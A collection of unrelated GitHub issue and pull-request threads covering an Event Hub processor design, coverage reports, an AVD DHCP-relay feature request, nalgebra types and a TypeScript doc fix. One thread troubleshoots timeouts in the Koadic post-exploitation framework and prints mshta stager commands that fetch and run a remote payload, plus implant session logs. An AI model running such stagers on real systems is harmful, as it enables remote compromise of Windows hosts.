Though, do you really want to use EPH at this point? Perhaps, it would be easier to subscribe to your partitions directly and have a subscription not try to recover from an error.
In the later scenario, I'm thinking of having a stateful service in K8s with as many instances as Event Hub partitions. Each partition would store the checkpoint entry in a persistent volume and use the instance number for the stateful service instance as the partition id to listen. That way, you always have 1 instance handling 1 partition. When an instance fails, the listener should just die. You see the logs and the orchestrator cleans up and restarts.
Thoughts?

Thanks for the answer!
I consider the possibility to dynamically load-balance events based on the current CPU/memory usage quite useful. And even though, with your example, it is still possible, it is achieved with a level of indirection through a StatefulService (which in the case of 1:1 relationship between partition and instance could also increase our CPU/memory requests if we would want to use them). So, what EPH does, in my opinion, is hides this layer of indirection. And why don't you consider EPH useful?
And what did you mean by "when an instance fails"? We considered more an issue, when we somehow stop receiving messages from EventHub due to a network partition, and not that the instance itself might fail. And in the example you provided, if I understand it correctly, in the case of a network partition between EventHub and StatefulSet instance, that instance still wouldn't be able to realize any misconfiguration (and events would be accumulating in that particular EventHub partition).
In my opinion, in an ideal scenario, it would be possible to ping the server in a specified interval, and after a pre-specified number of failures, a provided callback would be called. That could be implemented not only for EventHub connection itself but maybe also for other network dependencies, like leases and checkpoints.

I do consider the feature set of EPH to be useful, but I would like to implement it differently than it is currently implemented. The default implementation uses Azure Storage to durably persist checkpoints for a partition consumer. I would rather build a ring like implementation where the consumers built their own quorum, would coordinate lease acquisition and checkpoint persistence.
"when an instance fails" mean to me the partition consumer has run into an error it can not handle / recover from (network partition, period of time receiving a 500 from the service, etc...). I think this is equivalent to "somehow stop receiving messages".

In my opinion, in an ideal scenario, EPH would ping EventHub in a specified interval, and after a pre-specified number of failures, a provided callback (that could be given in a constructor) would be called. That could be implemented not only for EventHub connection itself but maybe also for other network dependencies, like leases and checkpoints.

👍
Would it also be helpful to produce opencensus / open tracing metrics so that the number of messages being consumed would output as a metric to an observation / alerting service in say Azure Application Insights or https://grafana.com? At this point, we are only outputting traces spans. I was debating the idea of adding metrics.


Grace

Fixes #46

Codecov Report

Merging #47 into master will increase coverage by 0.71%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master      #47      +/-   ##
==========================================
+ Coverage   29.89%   30.61%   +0.71%
==========================================
  Files           5        5
  Lines          97       98       +1
==========================================
+ Hits           29       30       +1
  Misses         68       68

Impacted Files
Coverage Δ

src/types.jl
45.83% <100.00%> (+1.15%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4a9d903...043ae3c. Read the comment docs.


IP Locking and DHCP Relay on Border/Edge Leaf

Enhancement summary
With IP Locking it is required that the DHCP Relay should not be configured on Leafs where hosts are connected. In Symmetric IRB design we will have the IRB present on the Leaf where hosts are connected in addition to the Border Leaf or Edge Leaf (EVPN Gateway), thus today it is not possible with AVD to selectively configure the IP Helper only on Edge/Border Leaf switches and not on all Leafs in a POD/Fabric.
We should create a knob that abstracts the configuration for the IP Helper to selected devices such as Border Leafs or Edge Leafs.
DHCP Client --- Leaf pair (IRB with no helper) --- Spine --- Border/Edge Leaf pair (IRB with helper) -- DHCP Server
Which component of AVD is impacted
eos_designs
Use case example
Border Leaf pair config for IRB
interface Vlan1000
   description test
   no shutdown
   vrf test
   ip address virtual
   ipv6 address virtual
   ip helper-address <IP_ADDRESS>
   ip helper-address <IP_ADDRESS>
   ipv6 nd managed-config-flag
   ipv6 dhcp relay destination 2001:db8:1::1
   ipv6 dhcp relay destination 2001:db8:1::2

Standard Leaf pair config for IRB
interface Vlan1000
   description test
   no shutdown
   vrf test
   ip address virtual
   ipv6 address virtual

IP Locking config

Describe the solution you would like
A list of devices where DHCPv4/v6 relays to be configured.
(Required with IP Locking in Campus implementations or Centralised DHCP Relay)
dhcp_relays:
   - border-leaf1
   - border-leaf2
   - edge-leaf1
   - edge-leaf2

Describe alternatives you have considered
Manually removing the helper configs with a script after AVD run.
Additional context
No response
Contributing Guide

[X] I agree to follow this project's Code of Conduct

We now support all SVI settings under individual nodes, so you can configure the SVI like this:
...
    svis:
      - id: 123
        ...
        nodes:
          - node: border1
            ip_helpers:
              - ip_helper: <IP_ADDRESS>
                source_interface: lo100
                source_vrf: TEST
          - node: border1
            ip_helpers:
              - ip_helper: <IP_ADDRESS>
                source_interface: lo100
                source_vrf: TEST


Zombie Times Out

Greetings,
I have setup koadic on Debian 9 and it loads fine. The test target system is windows 7 with firewall and no antivirus.  The problem is, whatever stager I use, zombie always times out in next 2 seconds or less. A typical session looks like this -
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://<IP_ADDRESS>:9999/L9OjI
[>] mshta http://<IP_ADDRESS>:9999/L9OjI
[+] Zombie 0: Staging new connection (x.y.z.a)
[!] Zombie 0: Timed out.

Troubleshooting done -

I have tried using different server (Ubuntu/Debian - wheezy/jessie) to no avail.
Tried different test machines (Windows 10, Windows 8, different configurations) to no avail.
Checked iptables and flushed them out.
Tried HTTPS connection through self signed certificate and using letsencrypt. Same result.
Tried setup in same LAN subnet, in NAT configuration and over WAN - same result.
Formatted everything and cloned everything from scratch - same result.
Tried different stagers (regsvr/disk/rundll32_js) as well to no avail.
update checked #20 , would like to add that I have tried it from command line as well to same result.

[ ] Have yet to take a packet capture and check which one of the endpoints is sending the RST packet, this I will probably do over this weekend.
[ ] Have yet to try koadic on a python 3 based setup, again a task for this weekend.

Is there anything I am missing which is preventing a stable zombie connection - any configuration, essential firewall rules or framework essentials?
Apart from this,

Does koadic has inbuilt verbose logging functionality which  I can check and zero down on connection issues or what is going wrong.
Any command automation mechanism which can be run through cmdshell implant to run some quick commands on target system when a connection is initiated?

Thanks for your time,
rish

I've just added a verbose mode. Start koadic as normal and type verbose 1, then try to stage. May need to add more functions to the logging but at least there's a start.

Awesome, let me try that.
Meanwhile, I have taken a packet capture and have identified that the server itself is sending FIN packets post sending the staging code. The new Debian 9 setup has letsencrypt certificate hosted on a test cloud server, will experiment and let you know.
Thanks!

Tried it with both HTTP and HTTPS options, PFB logs.
With HTTP
(koadic: sta/js/mshta)# verbose 1
[*] Verbose mode: On
(koadic: sta/js/mshta)# set LHOST X.Y.Z.A
[+] LHOST => X.Y.Z.A
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://X.Y.Z.A:9999/gCvFM
[>] mshta http://X.Y.Z.A:9999/gCvFM
[v] handler::handle() - Incoming HTTP from ('A.B.C.D', 25269)
[v] handler::handle_new_session()
[+] Zombie 0: Staging new connection (A.B.C.D)
[v] handler::reply() - sending status 200 with 19345 bytes to ('A.B.C.D', 25269)
(koadic: sta/js/mshta)# cmdshell 0
[koadic: ZOMBIE 0 (A.B.C.D) - cmd.exe]> whoami
[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.
[!] Zombie 0: Timed out.
[koadic: ZOMBIE 0 (A.B.C.D) - cmd.exe]> exit

HTTPS
(koadic: sta/js/mshta)# info

        NAME        VALUE           REQ     DESCRIPTION
        -----       ------------    ----    -------------
        LHOST       X.Y.Z.A yes     Where the stager should call home
        LPORT       9999            yes     The port to listen for stagers on
        EXPIRES                     no      MM/DD/YYYY to stop calling home
        KEYPATH     /etc/ssl/pri... no      Private key for TLS communications
        CERTPATH    /etc/ssl/cer... no      Certificate for TLS communications

(koadic: sta/js/mshta)# verbose 1
[*] Verbose mode: On
(koadic: sta/js/mshta)# run
[+] Spawned a stager at https://X.Y.Z.A:9999/5RCB4
[>] mshta https://X.Y.Z.A:9999/5RCB4
[v] handler::handle() - Incoming HTTP from ('A.B.C.D', 33786)
[v] handler::handle_new_session()
[+] Zombie 0: Staging new connection (A.B.C.D)
[v] handler::reply() - sending status 200 with 19351 bytes to ('A.B.C.D', 33786)
(koadic: sta/js/mshta)# cmdshell 0
[v] handler::handle() - Incoming HTTP from ('A.B.C.D', 42767)
[v] handler::reply() - sending status 404 with 0 bytes to ('A.B.C.D', 42767)
[koadic: ZOMBIE 0 (A.B.C.D) - cmd.exe]> whoami
[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.
[!] Zombie 0: Timed out.
[koadic: ZOMBIE 0 (A.B.C.D) - cmd.exe]> exit
(koadic: sta/js/mshta)# zombies

        ID   IP              STATUS  LAST SEEN
        ---  ---------       ------- ------------
        0*   A.B.C.D Dead    2017-11-17 08:17:13

Use "zombies ID" for detailed information about a session.

All I can see is "[!] Zombie 0: Timed out.", is there any way to increase the verbosity of logs?
Thanks,
rish

I see you're using a cert, so you cannot specify an IP. It must be a domain and the certificate must be valid. Anything that would cause an error in say, IE or any sensible web browser, will fail.

Sure, thanks for inputs, will add alerts and test it.
As for the certificate part testing part, I tested it with both domain and IP with same results.
Appreciate your prompt inputs.
rish

I am also facing "Zombie TimeOut" issue, both within the LAN as well as WAN. Is there any workaround solution for this.
@rishdang Thanks for raising the issue.

@SeemantBisht, could you also post Koadic output with verbose mode on? Also, can you confirm that you are only copy/pasting the mshta stager into your Windows command shell?

@TheNaterz , Thanks for your reply.
I got Zombie 0 stable through bash bunny.
Zombie 1 Timed out. I opened the link through Internet Explorer.
Zombie 2 Timed out. I opened the link through Chrome.
Output for the same is mentioned below:
(koadic: sta/js/mshta)# info
    NAME        VALUE               REQ     DESCRIPTION
    -----       ------------        ----    -------------
    SRVHOST     <IP_ADDRESS>     yes     Where the stager should call home
    SRVPORT     9999                yes     The port to listen for stagers on
    EXPIRES                         no      MM/DD/YYYY to stop calling home
    KEYPATH                         no      Private key for TLS communications
    CERTPATH                        no      Certificate for TLS communications

(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://<IP_ADDRESS>:9999/SAl5K
[!] Avoid manually editing this URL!!!
[>] mshta http://<IP_ADDRESS>:9999/SAl5K
(koadic: sta/js/mshta)# verbose 1
[*] Verbose mode: On
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2787)
[v] handler::handle_new_session()
[+] Zombie 0: Staging new connection (<IP_ADDRESS>)
[v] handler::reply() - sending status 200 with 19710 bytes to ('<IP_ADDRESS>', 2787)
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2788)
[v] handler::find_session() - found session.key = d8847c990a494br19e6e92c673b3e2cc
[v] session::parse_user_info() - XXXX\CCC01~ASD-LAP-111~Microsoft Windows 10 Pro~~~\Domain~64-bit~C:\Windows\system32\WindowsPowerShell\v1.0
[+] Zombie 0:  XXXX\CCC01 @ ASD-LAP-111 -- Microsoft Windows 10 Pro
[v] handler::reply() - sending status 200 with 0 bytes to ('<IP_ADDRESS>', 2788)
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2789)
[v] handler::find_session() - found session.key = d8847c990a494br19e6e92c673b3e2cc
[v] handler::handle_stage()
[v] handler::reply() - sending status 200 with 19715 bytes to ('<IP_ADDRESS>', 2789)
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2790)
[v] handler::find_session() - found session.key = d8846c990a494bc19e6e92c673b3e2cc
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2958)
[v] handler::handle_new_session()
[+] Zombie 1: Staging new connection (<IP_ADDRESS>)
[v] handler::reply() - sending status 200 with 19710 bytes to ('<IP_ADDRESS>', 2958)
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2959)
[v] handler::reply() - sending status 404 with 0 bytes to ('<IP_ADDRESS>', 2959)
[!] Zombie 1: Timed out.
[v] handler::handle() - Incoming HTTP from ('<IP_ADDRESS>', 2963)
[v] handler::handle_new_session()
[+] Zombie 2: Staging new connection (<IP_ADDRESS>)
[v] handler::reply() - sending status 200 with 19710 bytes to ('<IP_ADDRESS>', 2963)
[!] Zombie 2: Timed out.
(koadic: sta/js/mshta)# zombies
    ID   IP              STATUS  LAST SEEN
    ---  ---------       ------- ------------
    0    <IP_ADDRESS>   Alive   2017-12-25 00:21:48
    1*   <IP_ADDRESS>   Dead    2017-12-25 00:19:57
    2*   <IP_ADDRESS>   Dead    2017-12-25 00:21:04

@SeemantBisht, great thanks! Alright so the problem is that you can't stage the mshta stager through a browser, it has to be done through a command shell. The mshta executable is responsible for running .HTA files, and the JavaScript/VBScript payloads contained therein, which is how Koadic is able to work. If you try to access the link through a browser, it won't be able to stage which is why Zombies 1 and 2 timed out.

@TheNaterz, Thanks for your instant reply. Is there any stager which can work directly through browser and is stable.

@SeemantBisht, sorry, but at the moment, we don't have any stagers that are designed to work like that.

@TheNaterz, alright. Thanks alot.

This is sorted, nailed it down to infrastructure issue. Sorry for an delayed response as this testing was put on back burner.


ngeom library

I am seriously considering transitioning from my cgmath library to nalgebra, seeing as it is now insanely well polished, and it would allow me to use your collision and physics stuff without having to re-invent the wheel. Some of the things I love about cgmath though is:

points as a separate concept to vectors with the following operators:

(*) : Point a -> a -> Point a
(/) : Point a -> a -> Point a
(+) : Point a -> Vector a -> Point a
(-) : Point a -> Point a -> Vector a

Separate types for radian and degree units
Projection structures with conversions to matrices

These things don't really make sense for a linear algebra library, but is it possible that we could have a separate library for these?

@sebcrozet what do you think about Transform trait with Decomposed implementation in cgmath-rs? Do you consider this functionality to be in scope of nalgebra?


refactor!: update various return types for better consistency

Change the return type of:

CMap2::vertex to not panic if the specified vertex is not defined (return an error instead)
Vector2::normal_dir to not panic if the method is called on a null vector (return the result of the Vector2::unit_dir method, which was previously unwraped internally)

The rest of the changes are accomodations for the new return types.
Scope

[x] Code: if relevant, add affected target

Type of change

[x] Refactor

Other

[x] Breaking change

Codecov Report
Attention: Patch coverage is 94.59459% with 2 lines in your changes are missing coverage. Please review.

Project coverage is 85.71%. Comparing base (a928c30) to head (4a8bebb).

Files
Patch %
Lines

honeycomb-core/src/cmap2/embed.rs
60.00%
2 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##           master      #67      +/-   ##
==========================================
- Coverage   85.75%   85.71%   -0.05%
==========================================
  Files          16       16
  Lines        1945     1953       +8
==========================================
+ Hits         1668     1674       +6
- Misses        277      279       +2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Update Decorators.md

29.03.2022 it was changed to Stage 3
https://github.com/tc39/proposal-decorators/commit/232899356421269b056e1c1e3d6c68d9c332be88

Per https://github.com/microsoft/TypeScript-Website/pull/2348#issuecomment-1552220140, it's not enough to just change this verison; the stage 3 decorator spec is completely different than what is described in the page.
#2850 will cover this.